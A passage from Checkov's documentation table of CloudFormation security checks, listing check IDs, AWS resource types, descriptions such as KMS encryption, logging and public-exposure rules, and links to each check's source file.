[RDSMultiAZEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSMultiAZEnabled.py) | | 139 | CKV_AWS_158 | resource | AWS::Logs::LogGroup | Ensure that CloudWatch Log Group is encrypted by KMS | Cloudformation | [CloudWatchLogGroupKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupKMSKey.py) | | 140 | CKV_AWS_160 | resource | AWS::Timestream::Database | Ensure that Timestream database is encrypted with KMS CMK | Cloudformation | [TimestreamDatabaseKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/TimestreamDatabaseKMSKey.py) | | 141 | CKV_AWS_161 | resource | AWS::RDS::DBInstance | Ensure RDS database has IAM authentication enabled | Cloudformation | [RDSIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSIAMAuthentication.py) | | 142 | CKV_AWS_162 | resource | AWS::RDS::DBCluster | Ensure RDS cluster has IAM authentication enabled | Cloudformation | [RDSClusterIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSClusterIAMAuthentication.py) | | 143 | CKV_AWS_163 | resource | AWS::ECR::Repository | Ensure ECR image scanning on push is enabled | Cloudformation | [ECRImageScanning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRImageScanning.py) | | 144 | CKV_AWS_164 | resource | AWS::Transfer::Server | Ensure Transfer Server is not exposed publicly. | Cloudformation | [TransferServerIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/TransferServerIsPublic.py) | | 145 | CKV_AWS_165 | resource | AWS::DynamoDB::GlobalTable | Ensure DynamoDB global table point in time recovery (backup) is enabled | Cloudformation | [DynamodbGlobalTableRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamodbGlobalTableRecovery.py) | | 146 | CKV_AWS_166 | resource | AWS::Backup::BackupVault | Ensure Backup Vault is encrypted at rest using KMS CMK | Cloudformation | [BackupVaultEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/BackupVaultEncrypted.py) | | 147 | CKV_AWS_170 | resource | AWS::QLDB::Ledger | Ensure QLDB ledger permissions mode is set to STANDARD | Cloudformation | [QLDBLedgerPermissionsMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/QLDBLedgerPermissionsMode.py) | | 148 | CKV_AWS_172 | resource | AWS::QLDB::Ledger | Ensure QLDB ledger has deletion protection enabled | Cloudformation | [QLDBLedgerDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/QLDBLedgerDeletionProtection.py) | | 149 | CKV_AWS_173 | resource | AWS::Lambda::Function | Check encryption settings for Lambda environment variable | Cloudformation | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py) | | 150 | CKV_AWS_173 | resource | AWS::Serverless::Function | Check encryption settings for Lambda environment variable | Cloudformation | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py) | | 151 | CKV_AWS_174 | resource | AWS::CloudFront::Distribution | Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 or higher | Cloudformation | [CloudFrontTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudFrontTLS12.py) | | 152 | CKV_AWS_187 | resource | AWS::SageMaker::Domain | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK) | Cloudformation | [SagemakerNotebookEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookEncryptedWithCMK.py) | | 153 | CKV_AWS_187 | resource | AWS::SageMaker::NotebookInstance | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK) | Cloudformation | [SagemakerNotebookEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookEncryptedWithCMK.py) | | 154 | CKV_AWS_192 | resource | AWS::WAFv2::WebACL | Ensure WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | Cloudformation | [WAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WAFACLCVE202144228.py) | | 155 | CKV_AWS_193 | resource | AWS::AppSync::GraphQLApi | Ensure AppSync has Logging enabled | Cloudformation | [AppSyncLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AppSyncLogging.py) | | 156 | CKV_AWS_194 | resource | AWS::AppSync::GraphQLApi | Ensure AppSync has Field-Level logs enabled | Cloudformation | [AppSyncFieldLevelLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AppSyncFieldLevelLogs.py) | | 157 | CKV_AWS_195 | resource | AWS::Glue::Crawler | Ensure Glue component has a security configuration associated | Cloudformation | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py) | | 158 | CKV_AWS_195 | resource | AWS::Glue::DevEndpoint | Ensure Glue component has a security configuration associated | Cloudformation | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py) | | 159 | CKV_AWS_195 | resource | AWS::Glue::Job | Ensure Glue component has a security configuration associated | Cloudformation | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py) | | 160 | CKV_AWS_197 | resource | AWS::AmazonMQ::Broker | Ensure MQ Broker Audit logging is enabled | Cloudformation | [MQBrokerAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MQBrokerAuditLogging.py) | | 161 | CKV_AWS_258 | resource | AWS::Lambda::Url | Ensure that Lambda function URLs AuthType is not None | Cloudformation | [LambdaFunctionURLAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionURLAuth.py) | | 162 | CKV_AWS_260 | resource | AWS::EC2::SecurityGroup | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80 | Cloudformation | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py) | | 163 | CKV_AWS_260 | resource | AWS::EC2::SecurityGroupIngress | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80 | Cloudformation | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py) | | 164 | CKV_AWS_291 | resource | AWS::MSK::Cluster | Ensure MSK nodes are private | Cloudformation | [MSKClusterNodesArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterNodesArePrivate.py) | | 165 | CKV_AWS_317 | resource | AWS::Elasticsearch::Domain | Ensure Elasticsearch Domain Audit Logging is enabled | Cloudformation | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainAuditLogging.py) | | 166 | CKV_AWS_317 | resource | AWS::OpenSearchService::Domain | Ensure Elasticsearch Domain Audit Logging is enabled | Cloudformation | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainAuditLogging.py) | | 167 | CKV_AWS_360 | resource | AWS::DocDB::DBCluster | Ensure DocumentDB has an adequate backup retention period | Cloudformation | [DocDBBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBBackupRetention.py) | | 168 | CKV_AWS_361 | resource | AWS::Neptune::DBCluster | Ensure that Neptune DB cluster has automated backups enabled with adequate retention | Cloudformation | [NeptuneClusterBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterBackupRetention.py) | | 169 | CKV_AWS_363 | resource | AWS::Lambda::Function | Ensure Lambda Runtime is not deprecated | Cloudformation | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DeprecatedLambdaRuntime.py) | | 170 | CKV_AWS_363 | resource | AWS::Serverless::Function | Ensure Lambda Runtime is not deprecated | Cloudformation | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DeprecatedLambdaRuntime.py) | | 171 | CKV_AWS_364 | resource | AWS::Lambda::Permission | Ensure that AWS Lambda function permissions delegated to AWS services are limited by SourceArn or SourceAccount | Cloudformation | [LambdaServicePermission.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaServicePermission.py) | | 172 | CKV_AWS_366 | resource | AWS::Cognito::IdentityPool | Ensure AWS Cognito identity pool does not allow unauthenticated guest access | Cloudformation | [CognitoUnauthenticatedIdentities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CognitoUnauthenticatedIdentities.py) | | 173 | CKV_AWS_367 | resource | AWS::SageMaker::DataQualityJobDefinition | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt model artifacts | Cloudformation | [SagemakerDataQualityJobDefinitionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionEncryption.py) | | 174 | CKV_AWS_368 | resource | AWS::SageMaker::DataQualityJobDefinition | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt data on attached storage volume | Cloudformation | [SagemakerDataQualityJobDefinitionVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionVolumeEncryption.py) | | 175 | CKV_AWS_369 | resource | AWS::SageMaker::DataQualityJobDefinition | Ensure Amazon Sagemaker Data Quality Job encrypts all communications between instances used for monitoring jobs | Cloudformation | [SagemakerDataQualityJobDefinitionTrafficEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionTrafficEncryption.py) | | 176 | CKV_AWS_370 | resource | AWS::SageMaker::Model | Ensure Amazon SageMaker model uses network isolation | Cloudformation | [SagemakerModelWithNetworkIsolation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerModelWithNetworkIsolation.py) | | 177 | CKV_AWS_371 | resource | AWS::SageMaker::NotebookInstance | Ensure Amazon SageMaker Notebook Instance only allows for IMDSv2 | Cloudformation | [SagemakerNotebookInstanceAllowsIMDSv2.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookInstanceAllowsIMDSv2.py) | | 178 | CKV_AWS_373 | resource | AWS::Bedrock::Agent | Ensure Bedrock Agent is encrypted with a CMK | Cloudformation | [BedrockAgentEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/BedrockAgentEncrypted.py) | | 179 | CKV_AWS_384 | resource | AWS::SSM::Parameter | Ensure no hard-coded secrets exist in Parameter Store values | Cloudformation | [ParameterStoreCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ParameterStoreCredentials.py) | | 180 | CKV2_AWS_33 | resource | AWS::AppSync::GraphQLApi | Ensure AppSync is protected by WAF | Cloudformation | [AppSyncProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/AppSyncProtectedByWAF.yaml) | | 181 | CKV2_AWS_68 | resource | AWS::IAM::Role | Ensure SageMaker notebook instance IAM policy is not overly permissive | Cloudformation | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml) | | 182 | CKV2_AWS_68 | resource | AWS::SageMaker::NotebookInstance | Ensure SageMaker notebook instance IAM policy is not overly permissive | Cloudformation | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml) | | 183 | CKV2_AWS_69 | resource | AWS::RDS::DBInstance | Ensure AWS RDS database instance configured with encryption in transit | Cloudformation | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/RDSEncryptionInTransit.yaml) | | 184 | CKV2_AWS_69 | resource | AWS::RDS::DBParameterGroup | Ensure AWS RDS database instance configured with encryption in transit | Cloudformation | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/RDSEncryptionInTransit.yaml) | | 185 | CKV2_AWS_71 | resource | AWS::CertificateManager::Certificate | Ensure AWS ACM Certificate domain name does not include wildcards | Cloudformation | [ACMWildcardDomainName.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/ACMWildcardDomainName.yaml) | | 186 | CKV2_AWS_72 | resource | AWS::CloudFront::Distribution | Ensure AWS CloudFront origin protocol policy enforces HTTPS-only | Cloudformation | [CloudfrontOriginNotHTTPSOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/CloudfrontOriginNotHTTPSOnly.yaml) | | 187 | CKV2_AWS_75 | resource | AWS::Lambda::Function | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 188 | CKV2_AWS_75 | resource | AWS::Lambda::Url | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 189 | CKV2_AWS_75 | resource | aws | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 190 | CKV2_AWS_75 | resource | aws_accessanalyzer_analyzer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 191 | CKV2_AWS_75 | resource | aws_accessanalyzer_archive_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 192 | CKV2_AWS_75 | resource | aws_account_alternate_contact | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 193 | CKV2_AWS_75 | resource | aws_account_primary_contact | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 194 | CKV2_AWS_75 | resource | aws_account_region | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 195 | CKV2_AWS_75 | resource | aws_acm_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 196 | CKV2_AWS_75 | resource | aws_acm_certificate_validation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 197 | CKV2_AWS_75 | resource | aws_acmpca_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 198 | CKV2_AWS_75 | resource | aws_acmpca_certificate_authority | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 199 | CKV2_AWS_75 | resource | aws_acmpca_certificate_authority_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 200 | CKV2_AWS_75 | resource | aws_acmpca_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 201 | CKV2_AWS_75 | resource | aws_acmpca_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 202 | CKV2_AWS_75 | resource | aws_alb | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 203 | CKV2_AWS_75 | resource | aws_alb_listener | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 204 | CKV2_AWS_75 | resource | aws_alb_listener_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 205 | CKV2_AWS_75 | resource | aws_alb_listener_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 206 | CKV2_AWS_75 | resource | aws_alb_target_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 207 | CKV2_AWS_75 | resource | aws_alb_target_group_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 208 | CKV2_AWS_75 | resource | aws_ami | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 209 | CKV2_AWS_75 | resource | aws_ami_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 210 | CKV2_AWS_75 | resource | aws_ami_from_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 211 | CKV2_AWS_75 | resource | aws_ami_launch_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 212 | CKV2_AWS_75 | resource | aws_amplify_app | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 213 | CKV2_AWS_75 | resource | aws_amplify_backend_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 214 | CKV2_AWS_75 | resource | aws_amplify_branch | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 215 | CKV2_AWS_75 | resource | aws_amplify_domain_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 216 | CKV2_AWS_75 | resource | aws_amplify_webhook | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 217 | CKV2_AWS_75 | resource | aws_api_gateway_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 218 | CKV2_AWS_75 | resource | aws_api_gateway_api_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 219 | CKV2_AWS_75 | resource | aws_api_gateway_authorizer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 220 | CKV2_AWS_75 | resource | aws_api_gateway_base_path_mapping | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 221 | CKV2_AWS_75 | resource | aws_api_gateway_client_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 222 | CKV2_AWS_75 | resource | aws_api_gateway_deployment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 223 | CKV2_AWS_75 | resource | aws_api_gateway_documentation_part | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 224 | CKV2_AWS_75 | resource | aws_api_gateway_documentation_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 225 | CKV2_AWS_75 | resource | aws_api_gateway_domain_name | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 226 | CKV2_AWS_75 | resource | aws_api_gateway_domain_name_access_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 227 | CKV2_AWS_75 | resource | aws_api_gateway_gateway_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 228 | CKV2_AWS_75 | resource | aws_api_gateway_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 229 | CKV2_AWS_75 | resource | aws_api_gateway_integration_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 230 | CKV2_AWS_75 | resource | aws_api_gateway_method | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 231 | CKV2_AWS_75 | resource | aws_api_gateway_method_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 232 | CKV2_AWS_75 | resource | aws_api_gateway_method_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 233 | CKV2_AWS_75 | resource | aws_api_gateway_model | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 234 | CKV2_AWS_75 | resource | aws_api_gateway_request_validator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 235 | CKV2_AWS_75 | resource | aws_api_gateway_resource | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 236 | CKV2_AWS_75 | resource | aws_api_gateway_rest_api | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 237 | CKV2_AWS_75 | resource | aws_api_gateway_rest_api_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 238 | CKV2_AWS_75 | resource | aws_api_gateway_stage | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 239 | CKV2_AWS_75 | resource | aws_api_gateway_usage_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 240 | CKV2_AWS_75 | resource | aws_api_gateway_usage_plan_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 241 | CKV2_AWS_75 | resource | aws_api_gateway_vpc_link | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 242 | CKV2_AWS_75 | resource | aws_apigatewayv2_api | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 243 | CKV2_AWS_75 | resource | aws_apigatewayv2_api_mapping | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 244 | CKV2_AWS_75 | resource | aws_apigatewayv2_authorizer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 245 | CKV2_AWS_75 | resource | aws_apigatewayv2_deployment | Ensure no open CORS policy | Cloudformation | 